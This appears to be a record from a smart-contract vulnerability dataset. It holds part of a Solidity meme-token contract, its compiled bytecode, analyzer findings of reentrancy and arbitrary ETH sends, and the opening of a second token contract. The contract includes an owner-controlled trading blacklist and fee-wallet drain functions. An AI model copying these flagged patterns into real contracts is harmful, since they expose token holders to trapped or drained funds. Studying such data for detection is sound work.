_uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600b81526020017f5368696261206b65626162000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f534849424b45424142f09fa59300000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203aeed844333c0dd3058a5b7c9949872d131ace08dacd6d29442e7385ea96731764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,022
0x3f8130cc0afbad1d1f6d56cc6d0ef52d5b4dbf26
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** To Elon Musk, yes, you should turn 'p' in spaceship up side down to 'b'. So that human can explore the unknown space and Mars better! **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function 